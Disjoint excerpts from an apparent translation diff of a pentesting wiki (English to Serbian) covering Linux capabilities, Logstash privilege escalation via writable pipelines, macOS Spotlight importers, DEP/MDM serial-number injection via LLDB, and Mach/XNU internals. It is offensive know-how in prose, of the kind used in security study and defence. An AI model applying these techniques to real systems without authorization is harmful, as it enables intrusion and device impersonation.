svom efektivnom skupu sposobnosti i ciljne sposobnosti u svom dozvoljenom skupu sposobnosti. Tada možete koristiti sistemski poziv `capset()` za izmene skupova sposobnosti drugih procesa. -In summary, `CAP_SETPCAP` allows a process to modify the capability sets of other processes, but it cannot grant capabilities that it doesn't have itself. Additionally, due to security concerns, its functionality has been limited in recent kernel versions to only allow reducing capabilities in its own permitted capability set or the permitted capability sets of its descendants. +Ukratko, `CAP_SETPCAP` omogućava procesu da menja skupove sposobnosti drugih procesa, ali ne može dodeliti sposobnosti koje sam ne poseduje. Pored toga, zbog bezbednosnih briga, njegova funkcionalnost je ograničena u nedavnim verzijama jezgra da bi se omogućilo samo smanjenje sposobnosti u svom dozvoljenom skupu sposobnosti ili dozvoljenim skupovima sposobnosti svojih potomaka. ## References -**Most of these examples were taken from some labs of** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), so if you want to practice this privesc techniques I recommend these labs. +**Većina ovih primera je uzeta iz nekih laboratorija** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), pa ako želite da vežbate ove privesc tehnike, preporučujem ove laboratorije. -**Other references**: +**Ostale reference**: - [https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux](https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux) - [https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:\~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20.](https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/) @@ -1700,10 +1530,4 @@ In summary, `CAP_SETPCAP` allows a process to modify the capability sets of othe - [https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot](https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot) ​ - -

An interesting aspect arises when Logstash operates on a compromised machine. +Logstash se koristi za **prikupljanje, transformaciju i slanje logova** kroz sistem poznat kao **pipelines**. Ove pipelines se sastoje od **input**, **filter** i **output** faza. Zanimljiv aspekt se javlja kada Logstash radi na kompromitovanoj mašini. ### Pipeline Configuration -Pipelines are configured in the file **/etc/logstash/pipelines.yml**, which lists the locations of the pipeline configurations: - +Pipelines se konfigurišu u datoteci **/etc/logstash/pipelines.yml**, koja navodi lokacije konfiguracija pipelines: ```yaml # Define your pipelines here.

Kada se koristi **Elasticsearch output module**, uobičajeno je da **pipelines** uključuju **Elasticsearch credentials**, koje često imaju opsežne privilegije zbog potrebe Logstash-a da piše podatke u Elasticsearch. Wildcard-ovi u putanjama konfiguracije omogućavaju Logstash-u da izvrši sve odgovarajuće pipeline-ove u određenom direktorijumu. -This file reveals where the **.conf** files, containing pipeline configurations, are located. When employing an **Elasticsearch output module**, it's common for **pipelines** to include **Elasticsearch credentials**, which often possess extensive privileges due to Logstash's need to write data to Elasticsearch. Wildcards in configuration paths allow Logstash to execute all matching pipelines in the designated directory. +### Eskalacija privilegija putem zapisivih pipeline-a -### Privilege Escalation via Writable Pipelines +Da biste pokušali eskalaciju privilegija, prvo identifikujte korisnika pod kojim se Logstash servis pokreće, obično korisnika **logstash**.

In the given example, the **whoami** command runs every 120 seconds, with its output directed to **/tmp/output.log**. - -With **config.reload.automatic: true** in **/etc/logstash/logstash.yml**, Logstash will automatically detect and apply new or modified pipeline configurations without needing a restart. If there's no wildcard, modifications can still be made to existing configurations, but caution is advised to avoid disruptions. +Sa **config.reload.automatic: true** u **/etc/logstash/logstash.yml**, Logstash će automatski otkriti i primeniti nove ili izmenjene konfiguracije cevi bez potrebe za ponovnim pokretanjem.

Complementing this, there are multiple 'mdworker' daemons that perform a variety of maintenance tasks, such as indexing different file types (`ps -ef | grep mdworker`). These tasks are made possible through Spotlight importer plugins, or **".mdimporter bundles**", which enable Spotlight to understand and index content across a diverse range of file formats. +Osnovni mehanizam Spotlight-a uključuje centralni proces nazvan 'mds', što znači **'metadata server'.** Ovaj proces orchestrira celu Spotlight uslugu. Pored toga, postoje višestruki 'mdworker' daemoni koji obavljaju razne zadatke održavanja, kao što je indeksiranje različitih tipova fajlova (`ps -ef | grep mdworker`). Ovi zadaci su omogućeni putem Spotlight importer plugina, ili **".mdimporter bundles**", koji omogućavaju Spotlight-u da razume i indeksira sadržaj kroz raznovrsne formate fajlova. -The plugins or **`.mdimporter`** bundles are located in the places mentioned previously and if a new bundle appear it's loaded within monute (no need to restart any service). These bundles need to indicate which **file type and extensions they can manage**, this way, Spotlight will use them when a new file with the indicated extension is created. - -It's possible to **find all the `mdimporters`** loaded running: +Pluginovi ili **`.mdimporter`** bundle-ovi se nalaze na mestima pomenutim ranije i ako se pojavi novi bundle, on se učitava u trenutku (nema potrebe za restartovanjem bilo koje usluge).

Particularly for Apple's platforms (iOS, macOS, tvOS), it involves a set of specialized features, APIs, and practices. The operation of MDM hinges on a compatible MDM server, which is either commercially available or open-source, and must support the [MDM Protocol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Key points include: +[Upravljanje mobilnim uređajima](https://en.wikipedia.org/wiki/Mobile_device_management) (MDM) se koristi za nadgledanje različitih uređaja krajnjih korisnika kao što su pametni telefoni, laptopovi i tableti. Posebno za Apple-ove platforme (iOS, macOS, tvOS), uključuje skup specijalizovanih funkcija, API-ja i praksi. Rad MDM-a zavisi od kompatibilnog MDM servera, koji može biti komercijalno dostupan ili otvorenog koda, i mora podržavati [MDM protokol](https://developer.apple.com/enterprise/documentation/MDM-Protocol-Reference.pdf). Ključne tačke uključuju: -- Centralized control over devices. -- Dependence on an MDM server that adheres to the MDM protocol. -- Capability of the MDM server to dispatch various commands to devices, for instance, remote data erasure or configuration installation. +- Centralizovana kontrola nad uređajima. +- Zavist od MDM servera koji se pridržava MDM protokola. +- Sposobnost MDM servera da šalje različite komande uređajima, na primer, daljinsko brisanje podataka ili instalaciju konfiguracije. -### **Basics of DEP (Device Enrollment Program)** +### **Osnovi DEP (Program za registraciju uređaja)** -The [Device Enrollment Program](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) offered by Apple streamlines the integration of Mobile Device Management (MDM) by facilitating zero-touch configuration for iOS, macOS, and tvOS devices. DEP automates the enrollment process, allowing devices to be operational right out of the box, with minimal user or administrative intervention. Essential aspects include: +[Program za registraciju uređaja](https://www.apple.com/business/site/docs/DEP_Guide.pdf) (DEP) koji nudi Apple pojednostavljuje integraciju upravljanja mobilnim uređajima (MDM) omogućavajući konfiguraciju bez dodira za iOS, macOS i tvOS uređaje. DEP automatizuje proces registracije, omogućavajući uređajima da budu operativni odmah po otvaranju pakovanja, uz minimalnu intervenciju korisnika ili administratora. Osnovni aspekti uključuju: -- Enables devices to autonomously register with a pre-defined MDM server upon initial activation. -- Primarily beneficial for brand-new devices, but also applicable for devices undergoing reconfiguration. -- Facilitates a straightforward setup, making devices ready for organizational use swiftly. +- Omogućava uređajima da se autonomno registruju sa unapred definisanim MDM serverom prilikom prve aktivacije. +- Prvenstveno korisno za potpuno nove uređaje, ali takođe primenljivo na uređaje koji prolaze kroz rekonfiguraciju. +- Olakšava jednostavno podešavanje, čineći uređaje spremnim za organizacionu upotrebu brzo. -### **Security Consideration** +### **Razmatranje bezbednosti** -It's crucial to note that the ease of enrollment provided by DEP, while beneficial, can also pose security risks. If protective measures are not adequately enforced for MDM enrollment, attackers might exploit this streamlined process to register their device on the organization's MDM server, masquerading as a corporate device. +Važno je napomenuti da lakoća registracije koju pruža DEP, iako korisna, može takođe predstavljati bezbednosne rizike. Ako zaštitne mere nisu adekvatno primenjene za MDM registraciju, napadači bi mogli iskoristiti ovaj pojednostavljeni proces da registruju svoj uređaj na MDM serveru organizacije, pretvarajući se da je korporativni uređaj. > [!CAUTION] -> **Security Alert**: Simplified DEP enrollment could potentially allow unauthorized device registration on the organization's MDM server if proper safeguards are not in place. +> **Bezbednosna upozorenje**: Pojednostavljena DEP registracija mogla bi potencijalno omogućiti neovlašćenu registraciju uređaja na MDM serveru organizacije ako odgovarajuće zaštitne mere nisu na snazi. -### Basics What is SCEP (Simple Certificate Enrolment Protocol)? +### Osnovi Šta je SCEP (Protokol za jednostavnu registraciju sertifikata)? -- A relatively old protocol, created before TLS and HTTPS were widespread. -- Gives clients a standardized way of sending a **Certificate Signing Request** (CSR) for the purpose of being granted a certificate.

Key components include: +Ovo istraživanje se bavi binarnim datotekama povezanim sa Programom za Upis Uređaja (DEP) i Upravom Mobilnih Uređaja (MDM) na macOS-u. Ključne komponente uključuju: -- **`mdmclient`**: Communicates with MDM servers and triggers DEP check-ins on macOS versions before 10.13.4. -- **`profiles`**: Manages Configuration Profiles, and triggers DEP check-ins on macOS versions 10.13.4 and later. -- **`cloudconfigurationd`**: Manages DEP API communications and retrieves Device Enrollment profiles. +- **`mdmclient`**: Komunicira sa MDM serverima i pokreće DEP prijave na macOS verzijama pre 10.13.4. +- **`profiles`**: Upravljanje Konfiguracionim Profilima, i pokreće DEP prijave na macOS verzijama 10.13.4 i kasnijim. +- **`cloudconfigurationd`**: Upravljanje DEP API komunikacijama i preuzimanje profila za Upis Uređaja. -DEP check-ins utilize the `CPFetchActivationRecord` and `CPGetActivationRecord` functions from the private Configuration Profiles framework to fetch the Activation Record, with `CPFetchActivationRecord` coordinating with `cloudconfigurationd` through XPC. +DEP prijave koriste `CPFetchActivationRecord` i `CPGetActivationRecord` funkcije iz privatnog okvira Konfiguracionih Profila za preuzimanje Aktivacionog Zapisa, pri čemu `CPFetchActivationRecord` koordinira sa `cloudconfigurationd` putem XPC. -## Tesla Protocol and Absinthe Scheme Reverse Engineering +## Tesla Protokol i Inženjering Reverzibilnog Schematizma Absinthe -The DEP check-in involves `cloudconfigurationd` sending an encrypted, signed JSON payload to _iprofiles.apple.com/macProfile_. The payload includes the device's serial number and the action "RequestProfileConfiguration". The encryption scheme used is referred to internally as "Absinthe". Unraveling this scheme is complex and involves numerous steps, which led to exploring alternative methods for inserting arbitrary serial numbers in the Activation Record request. +DEP prijava uključuje `cloudconfigurationd` koji šalje enkriptovani, potpisani JSON payload na _iprofiles.apple.com/macProfile_. Payload uključuje serijski broj uređaja i akciju "RequestProfileConfiguration". Šema enkripcije koja se koristi interno se naziva "Absinthe". Razotkrivanje ove šeme je složeno i uključuje brojne korake, što je dovelo do istraživanja alternativnih metoda za umetanje proizvoljnih serijskih brojeva u zahtev za Aktivacioni Zapis. -## Proxying DEP Requests +## Proksiranje DEP Zahteva -Attempts to intercept and modify DEP requests to _iprofiles.apple.com_ using tools like Charles Proxy were hindered by payload encryption and SSL/TLS security measures. However, enabling the `MCCloudConfigAcceptAnyHTTPSCertificate` configuration allows bypassing the server certificate validation, although the payload's encrypted nature still prevents modification of the serial number without the decryption key. +Pokušaji presretanja i modifikacije DEP zahteva ka _iprofiles.apple.com_ korišćenjem alata kao što je Charles Proxy su ometeni enkripcijom payload-a i SSL/TLS bezbednosnim merama. Međutim, omogućavanje konfiguracije `MCCloudConfigAcceptAnyHTTPSCertificate` omogućava zaobilaženje validacije sertifikata servera, iako enkriptovana priroda payload-a i dalje sprečava modifikaciju serijskog broja bez ključa za dekripciju. -## Instrumenting System Binaries Interacting with DEP +## Instrumentacija Sistemskih Binarnih Datoteka koje Interaguju sa DEP -Instrumenting system binaries like `cloudconfigurationd` requires disabling System Integrity Protection (SIP) on macOS. With SIP disabled, tools like LLDB can be used to attach to system processes and potentially modify the serial number used in DEP API interactions. This method is preferable as it avoids the complexities of entitlements and code signing. +Instrumentacija sistemskih binarnih datoteka kao što je `cloudconfigurationd` zahteva onemogućavanje Zaštite Integriteta Sistema (SIP) na macOS-u. Sa onemogućenim SIP-om, alati kao što je LLDB mogu se koristiti za povezivanje sa sistemskim procesima i potencijalno modifikovanje serijskog broja koji se koristi u DEP API interakcijama. Ova metoda je poželjnija jer izbegava složenosti prava i potpisivanja koda. -**Exploiting Binary Instrumentation:** -Modifying the DEP request payload before JSON serialization in `cloudconfigurationd` proved effective. The process involved: +**Eksploatacija Binarne Instrumentacije:** +Modifikacija DEP zahteva payload-a pre JSON serijalizacije u `cloudconfigurationd` se pokazala efikasnom. Proces je uključivao: -1.

Injecting an arbitrary serial number into the memory before the payload is encrypted and sent. +1. Povezivanje LLDB sa `cloudconfigurationd`. +2.

Most applications developed for BSD will compile and run on macOS without needing modifications, as the command-line tools familiar to Unix users are all present in macOS. However, because the XNU kernel incorporates Mach, there are some significant differences between a traditional Unix-like system and macOS, and these differences might cause potential issues or provide unique advantages. +Iz perspektive istraživača bezbednosti ili Unix programera, **macOS** može delovati prilično **slično** **FreeBSD** sistemu sa elegantnim GUI-jem i mnoštvom prilagođenih aplikacija. Većina aplikacija razvijenih za BSD će se kompajlirati i raditi na macOS bez potrebe za modifikacijama, jer su svi komandno-linijski alati poznati korisnicima Unixa prisutni u macOS-u. Međutim, pošto XNU kernel uključuje Mach, postoje neke značajne razlike između tradicionalnog Unix-sličnog sistema i macOS-a, a te razlike mogu izazvati potencijalne probleme ili pružiti jedinstvene prednosti. -Open source version of XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) +Open source verzija XNU: [https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/) ### Mach -Mach is a **microkernel** designed to be **UNIX-compatible**. One of its key design principles was to **minimize** the amount of **code** running in the **kernel** space and instead allow many typical kernel functions, such as file system, networking, and I/O, to **run as user-level tasks**. +Mach je **mikrokernel** dizajniran da bude **UNIX-kompatibilan**. Jedan od njegovih ključnih dizajnerskih principa bio je da **minimizuje** količinu **koda** koji se izvršava u **kernel** prostoru i umesto toga dozvoli mnogim tipičnim kernel funkcijama, kao što su sistem datoteka, umrežavanje i I/O, da **rade kao korisnički zadaci**. -In XNU, Mach is **responsible for many of the critical low-level operations** a kernel typically handles, such as processor scheduling, multitasking, and virtual memory management. +U XNU, Mach je **odgovoran za mnoge kritične niskonivo operacije** koje kernel obično obrađuje, kao što su planiranje procesora, multitasking i upravljanje virtuelnom memorijom. ### BSD -The XNU **kernel** also **incorporates** a significant amount of code derived from the **FreeBSD** project. This code **runs as part of the kernel along with Mach**, in the same address space. However, the FreeBSD code within XNU may differ substantially from the original FreeBSD code because modifications were required to ensure its compatibility with Mach. FreeBSD contributes to many kernel operations including: +XNU **kernel** takođe **uključuje** značajnu količinu koda izvedenog iz **FreeBSD** projekta. Ovaj kod **radi kao deo kernela zajedno sa Mach**, u istom adresnom prostoru. Međutim, FreeBSD kod unutar XNU može se značajno razlikovati od originalnog FreeBSD koda jer su modifikacije bile potrebne da bi se osigurala njegova kompatibilnost sa Mach. FreeBSD doprinosi mnogim kernel operacijama uključujući: -- Process management -- Signal handling -- Basic security mechanisms, including user and group management -- System call infrastructure -- TCP/IP stack and sockets -- Firewall and packet filtering +- Upravljanje procesima +- Obrada signala +- Osnovni bezbednosni mehanizmi, uključujući upravljanje korisnicima i grupama +- Infrastruktura sistemskih poziva +- TCP/IP stek i soketi +- Firewall i filtriranje paketa -Understanding the interaction between BSD and Mach can be complex, due to their different conceptual frameworks. For instance, BSD uses processes as its fundamental executing unit, while Mach operates based on threads. This discrepancy is reconciled in XNU by **associating each BSD process with a Mach task** that contains exactly one Mach thread. When BSD's fork() system call is used, the BSD code within the kernel uses Mach functions to create a task and a thread structure. +Razumevanje interakcije između BSD i Mach može biti složeno, zbog njihovih različitih konceptualnih okvira. Na primer, BSD koristi procese kao svoju osnovnu izvršnu jedinicu, dok Mach funkcioniše na osnovu niti. Ova razlika se pomiruje u XNU tako što se **svakom BSD procesu pridružuje Mach zadatak** koji sadrži tačno jednu Mach nit. Kada se koristi BSD-ov fork() sistemski poziv, BSD kod unutar kernela koristi Mach funkcije za kreiranje strukture zadatka i niti. -Moreover, **Mach and BSD each maintain different security models**: **Mach's** security model is based on **port rights**, whereas BSD's security model operates based on **process ownership**. Disparities between these two models have occasionally resulted in local privilege-escalation vulnerabilities. Apart from typical system calls, there are also **Mach traps that allow user-space programs to interact with the kernel**. These different elements together form the multifaceted, hybrid architecture of the macOS kernel. +Štaviše, **Mach i BSD svaki održavaju različite bezbednosne modele**: **Machov** bezbednosni model se zasniva na **pravima portova**, dok BSD-ov bezbednosni model funkcioniše na osnovu **vlasništva procesa**. Razlike između ova dva modela su povremeno rezultirale lokalnim ranjivostima za eskalaciju privilegija. Pored tipičnih sistemskih poziva, postoje i **Mach zamke koje omogućavaju programima u korisničkom prostoru da komuniciraju sa kernelom**. Ovi različiti elementi zajedno čine složenu, hibridnu arhitekturu macOS kernela. -### I/O Kit - Drivers +### I/O Kit - Drajveri -The I/O Kit is an open-source, object-oriented **device-driver framework** in the XNU kernel, handles **dynamically loaded device drivers**.

It is often used to visualize the hierarchy of devices connected via buses like USB or PCI. -3. **IOPower Plane**: Displays objects and their relationships in terms of power management. It can show which objects are affecting the power state of others, useful for debugging power-related issues. -4. **IOUSB Plane**: Specifically focused on USB devices and their relationships, showing the hierarchy of USB hubs and connected devices. -5. **IOAudio Plane**: This plane is for representing audio devices and their relationships within the system. +1. **IOService Plane**: Ovo je najopštiji plan, koji prikazuje servisne objekte koji predstavljaju drajvere i nubs (kanale komunikacije između drajvera). Prikazuje odnose između provajdera i klijenata ovih objekata. +2. **IODeviceTree Plane**: Ovaj plan predstavlja fizičke veze između uređaja dok su priključeni na sistem. Često se koristi za vizualizaciju hijerarhije uređaja povezanih putem magistrala kao što su USB ili PCI. +3. **IOPower Plane**: Prikazuje objekte i njihove odnose u smislu upravljanja energijom. Može pokazati koji objekti utiču na stanje napajanja drugih, što je korisno za otklanjanje grešaka povezanih sa energijom. +4. **IOUSB Plane**: Specifično fokusiran na USB uređaje i njihove odnose, prikazuje hijerarhiju USB hubova i povezanih uređaja. +5. **IOAudio Plane**: Ovaj plan je za predstavljanje audio uređaja i njihovih odnosa unutar sistema. 6. ... -## Driver Comm Code Example +## Primer koda za Driver Comm -The following code connects to the IOKit service `"YourServiceNameHere"` and calls the function inside the selector 0.

The possible **port rights** are ([definitions from here](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): +Prava portova, koja definišu koje operacije zadaca može izvesti, ključna su za ovu komunikaciju. Moguća **prava portova** su ([definicije ovde](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)): -- **Receive right**, which allows receiving messages sent to the port. Mach ports are MPSC (multiple-producer, single-consumer) queues, which means that there may only ever be **one receive right for each port** in the whole system (unlike with pipes, where multiple processes can all hold file descriptors to the read end of one pipe). - - A **task with the Receive** right can receive messages and **create Send rights**, allowing it to send messages. Originally only the **own task has Receive right over its por**t. -- **Send right**, which allows sending messages to the port. - - The Send right can be **cloned** so a task owning a Send right can clone the right and **grant it to a third task**. -- **Send-once right**, which allows sending one message to the port and then disappears. -- **Port set right**, which denotes a _port set_ rather than a single port. Dequeuing a message from a port set dequeues a message from one of the ports it contains. Port sets can be used to listen on several ports simultaneously, a lot like `select`/`poll`/`epoll`/`kqueue` in Unix. -- **Dead name**, which is not an actual port right, but merely a placeholder. When a port is destroyed, all existing port rights to the port turn into dead names. +- **Pravo primanja**, koje omogućava primanje poruka poslatih na port. Mach portovi su MPSC (više proizvođača, jedan potrošač) redovi, što znači da može postojati samo **jedno pravo primanja za svaki port** u celom sistemu (za razliku od cevi, gde više procesa može imati deskriptore datoteka za kraj čitanja jedne cevi). +- **Zadaca sa pravom primanja** može primati poruke i **kreirati prava slanja**, omogućavajući joj da šalje poruke. Prvobitno samo **vlastita zadaca ima pravo primanja nad svojim portom**. +- **Pravo slanja**, koje omogućava slanje poruka na port. +- Pravo slanja može biti **klonirano**, tako da zadaca koja poseduje pravo slanja može klonirati to pravo i **dodeliti ga trećoj zadaci**. +- **Pravo slanja jednom**, koje omogućava slanje jedne poruke na port i zatim nestaje. +- **Pravo skupa portova**, koje označava _skup portova_ umesto jednog port. Uklanjanje poruke iz skupa portova uklanja poruku iz jednog od portova koje sadrži. Skupovi portova mogu se koristiti za slušanje na nekoliko portova istovremeno, slično kao `select`/`poll`/`epoll`/`kqueue` u Unixu. +- **Mrtvo ime**, koje nije stvarno pravo porta, već samo mesto za rezervaciju. Kada se port uništi, sva postojeća prava portova na port postaju mrtva imena. -**Tasks can transfer SEND rights to others**, enabling them to send messages back. **SEND rights can also be cloned, so a task can duplicate and give the right to a third task**. This, combined with an intermediary process known as the **bootstrap server**, allows for effective communication between tasks. +**Zadace mogu prenositi PRAVA SLANJA drugima**, omogućavajući im da šalju poruke nazad. **PRAVA SLANJA se takođe mogu klonirati, tako da zadaca može duplicirati i dati pravo trećoj zadaci**. Ovo, u kombinaciji sa posredničkim procesom poznatim kao **bootstrap server**, omogućava efikasnu komunikaciju između zadataka. ### File Ports -File ports allows to encapsulate file descriptors in Mac ports (using Mach port rights). It's possible to create a `fileport` from a given FD using `fileport_makeport` and create a FD froma. fileport using `fileport_makefd`. +File portovi omogućavaju enkapsulaciju deskriptora datoteka u Mac portovima (koristeći prava Mach portova). Moguće je kreirati `fileport` iz datog FD koristeći `fileport_makeport` i kreirati FD iz fileporta koristeći `fileport_makefd`. ### Establishing a communication #### Steps: -As it's mentioned, in order to establish the communication channel, the **bootstrap server** (**launchd** in mac) is involved. +Kao što je pomenuto, da bi se uspostavio komunikacioni kanal, uključuje se **bootstrap server** (**launchd** u mac). -1. Task **A** initiates a **new port**, obtaining a **RECEIVE right** in the process. -2. Task **A**, being the holder of the RECEIVE right, **generates a SEND right for the port**. -3. Task **A** establishes a **connection** with the **bootstrap server**, providing the **port's service name** and the **SEND right** through a procedure known as the bootstrap register. -4. Task **B** interacts with the **bootstrap server** to execute a bootstrap **lookup for the service** name. If successful, the **server duplicates the SEND right** received from Task A and **transmits it to Task B**. -5. Upon acquiring a SEND right, Task **B** is capable of **formulating** a **message** and dispatching it **to Task A**. -6. For a bi-directional communication usually task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** so it can send messages to TASK B (bi-directional communication). +1. Zadaca **A** inicira **novi port**, dobijajući **PRAVO PRIMANJA** u procesu. +2. Zadaca **A**, kao nosilac prava primanja, **generiše PRAVO SLANJA za port**. +3. Zadaca **A** uspostavlja **vezu** sa **bootstrap serverom**, pružajući **ime usluge porta** i **PRAVO SLANJA** kroz proceduru poznatu kao bootstrap registracija. +4. Zadaca **B** interaguje sa **bootstrap serverom** da izvrši bootstrap **pretragu za imenom usluge**. Ako je uspešna, **server duplira PRAVO SLANJA** primljeno od Zadace A i **prenosi ga Zadaci B**. +5. Nakon sticanja PRAVA SLANJA, Zadaca **B** je sposobna da **formuliše** **poruku** i pošalje je **Zadaci A**. +6. Za dvosmernu komunikaciju obično zadaca **B** generiše novi port sa **PRAVOM PRIMANJA** i **PRAVOM SLANJA**, i daje **PRAVO SLANJA Zadaci A** kako bi mogla slati poruke Zadaci B (dvosmerna komunikacija). -The bootstrap server **cannot authenticate** the service name claimed by a task. This means a **task** could potentially **impersonate any system task**, such as falsely **claiming an authorization service name** and then approving every request. +Bootstrap server **ne može autentifikovati** ime usluge koje tvrdi da poseduje zadaca. To znači da bi **zadaca** mogla potencijalno **imitirati bilo koju sistemsku zadacu**, kao što je lažno **tvrđenje o imenu usluge za autorizaciju** i zatim odobravanje svake zahteve. -Then, Apple stores the **names of system-provided services** in secure configuration files, located in **SIP-protected** directories: `/System/Library/LaunchDaemons` and `/System/Library/LaunchAgents`. Alongside each service name, the **associated binary is also stored**. The bootstrap server, will create and hold a **RECEIVE right for each of these service names**. +Zatim, Apple čuva **imena usluga koje obezbeđuje sistem** u sigurnim konfiguracionim datotekama, smeštenim u **SIP-zaštićenim** direktorijumima: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Pored svakog imena usluge, **pripadajuća binarna datoteka se takođe čuva**. Bootstrap server će kreirati i zadržati **PRAVO PRIMANJA za svako od ovih imena usluga**. -For these predefined services, the **lookup process differs slightly**. When a service name is being looked up, launchd starts the service dynamically. The new workflow is as follows: +Za ove unapred definisane usluge, **proces pretrage se malo razlikuje**. Kada se ime usluge pretražuje, launchd pokreće uslugu dinamički. Novi radni tok je sledeći: -- Task **B** initiates a bootstrap **lookup** for a service name. -- **launchd** checks if the task is running and if it isn’t, **starts** it. -- Task **A** (the service) performs a **bootstrap check-in**. Here, the **bootstrap** server creates a SEND right, retains it, and **transfers the RECEIVE right to Task A**. -- launchd duplicates the **SEND right and sends it to Task B**. -- Task **B** generates a new port with a **RECEIVE** right and a **SEND** right, and gives the **SEND right to Task A** (the svc) so it can send messages to TASK B (bi-directional communication). +- Zadaca **B** inicira bootstrap **pretragu** za imenom usluge. +- **launchd** proverava da li zadaca radi i ako ne, **pokreće** je. +- Zadaca **A** (usluga) vrši **bootstrap prijavu**. Ovde, **bootstrap** server kreira PRAVO SLANJA, zadržava ga i **prenosi PRAVO PRIMANJA Zadaci A**. +- launchd duplira **PRAVO SLANJA i šalje ga Zadaci B**. +- Zadaca **B** generiše novi port sa **PRAVOM PRIMANJA** i **PRAVOM SLANJA**, i daje **PRAVO SLANJA Zadaci A** (usluga) kako bi mogla slati poruke Zadaci B (dvosmerna komunikacija). -However, this process only applies to predefined system tasks. Non-system tasks still operate as described originally, which could potentially allow for impersonation. +Međutim, ovaj proces se primenjuje samo na unapred definisane sistemske zadace. Ne-sistemske zadace i dalje funkcionišu kao što je prvobitno opisano, što bi potencijalno moglo omogućiti imitaciju. ### A Mach Message [Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/) -The `mach_msg` function, essentially a system call, is utilized for sending and receiving Mach messages. The function requires the message to be sent as the initial argument. This message must commence with a `mach_msg_header_t` structure, succeeded by the actual message content. The structure is defined as follows: - +Funkcija `mach_msg`, koja je u suštini sistemski poziv, koristi se za slanje i primanje Mach poruka. Funkcija zahteva da poruka bude poslata kao početni argument. Ova poruka mora početi sa strukturom `mach_msg_header_t`, nakon koje sledi stvarni sadržaj poruke. Struktura je definisana na sledeći način: ```c typedef struct { - mach_msg_bits_t msgh_bits; - mach_msg_size_t msgh_size; - mach_port_t msgh_remote_port; - mach_port_t msgh_local_port; - mach_port_name_t msgh_voucher_port; - mach_msg_id_t msgh_id; +mach_msg_bits_t msgh_bits; +mach_msg_size_t msgh_size; +mach_port_t msgh_remote_port; +mach_port_t msgh_local_port; +mach_port_name_t msgh_voucher_port; +mach_msg_id_t msgh_id; } mach_msg_header_t; ``` +Procesi koji poseduju _**receive right**_ mogu primati poruke na Mach portu. Nasuprot tome, **pošiljaocima** se dodeljuju _**send**_ ili _**send-once right**_. Send-once right je isključivo za slanje jedne poruke, nakon čega postaje nevažeći. -Processes possessing a _**receive right**_ can receive messages on a Mach port. Conversely, the **senders** are granted a _**send**_ or a _**send-once right**_. The send-once right is exclusively for sending a single message, after which it becomes invalid. - -In order to achieve an easy **bi-directional communication** a process can specify a **mach port** in the mach **message header** called the _reply port_ (**`msgh_local_port`**) where the **receiver** of the message can **send a reply** to this message. The bitflags in **`msgh_bits`** can be used to **indicate** that a **send-once** **right** should be derived and transferred for this port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). +Da bi se postigla laka **bi-directional communication**, proces može da specificira **mach port** u mach **message header**-u nazvanom _reply port_ (**`msgh_local_port`**) gde **primalac** poruke može **poslati odgovor** na ovu poruku. Bitflegovi u **`msgh_bits`** mogu se koristiti da **naznače** da bi **send-once** **right** trebao biti izveden i prenet za ovaj port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`). > [!TIP] -> Note that this kind of bi-directional communication is used in XPC messages that expect a replay (`xpc_connection_send_message_with_reply` and `xpc_connection_send_message_with_reply_sync`). But **usually different ports are created** as explained previously to create the bi-directional communication. +> Imajte na umu da se ova vrsta bi-directional communication koristi u XPC porukama koje očekuju odgovor (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`).

-There are three types of system extensions: **DriverKit** Extensions, **Network** Extensions, and **Endpoint Security** Extensions. +Postoje tri tipa sistemskih ekstenzija: **DriverKit** ekstenzije, **Network** ekstenzije i **Endpoint Security** ekstenzije. ### **DriverKit Extensions** -DriverKit is a replacement for kernel extensions that **provide hardware support**. It allows device drivers (like USB, Serial, NIC, and HID drivers) to run in user space rather than kernel space. The DriverKit framework includes **user space versions of certain I/O Kit classes**, and the kernel forwards normal I/O Kit events to user space, offering a safer environment for these drivers to run. +DriverKit je zamena za kernel ekstenzije koje **obezbeđuju hardversku podršku**. Omogućava drajverima uređaja (kao što su USB, Serial, NIC i HID drajveri) da se izvršavaju u korisničkom prostoru umesto u kernel prostoru. DriverKit okvir uključuje **verzije određenih I/O Kit klasa u korisničkom prostoru**, a kernel prosleđuje normalne I/O Kit događaje u korisnički prostor, nudeći sigurnije okruženje za rad ovih drajvera. ### **Network Extensions** -Network Extensions provide the ability to customize network behaviors. There are several types of Network Extensions: +Network Extensions pružaju mogućnost prilagođavanja mrežnih ponašanja. Postoji nekoliko tipova Network Extensions: -- **App Proxy**: This is used for creating a VPN client that implements a flow-oriented, custom VPN protocol. This means it handles network traffic based on connections (or flows) rather than individual packets. -- **Packet Tunnel**: This is used for creating a VPN client that implements a packet-oriented, custom VPN protocol. This means it handles network traffic based on individual packets. -- **Filter Data**: This is used for filtering network "flows". It can monitor or modify network data at the flow level. -- **Filter Packet**: This is used for filtering individual network packets. It can monitor or modify network data at the packet level. -- **DNS Proxy**: This is used for creating a custom DNS provider. It can be used to monitor or modify DNS requests and responses. +- **App Proxy**: Ovo se koristi za kreiranje VPN klijenta koji implementira protokol prilagođen VPN-u orijentisan na tok. To znači da upravlja mrežnim saobraćajem na osnovu veza (ili tokova) umesto pojedinačnih paketa. +- **Packet Tunnel**: Ovo se koristi za kreiranje VPN klijenta koji implementira protokol prilagođen VPN-u orijentisan na pakete. To znači da upravlja mrežnim saobraćajem na osnovu 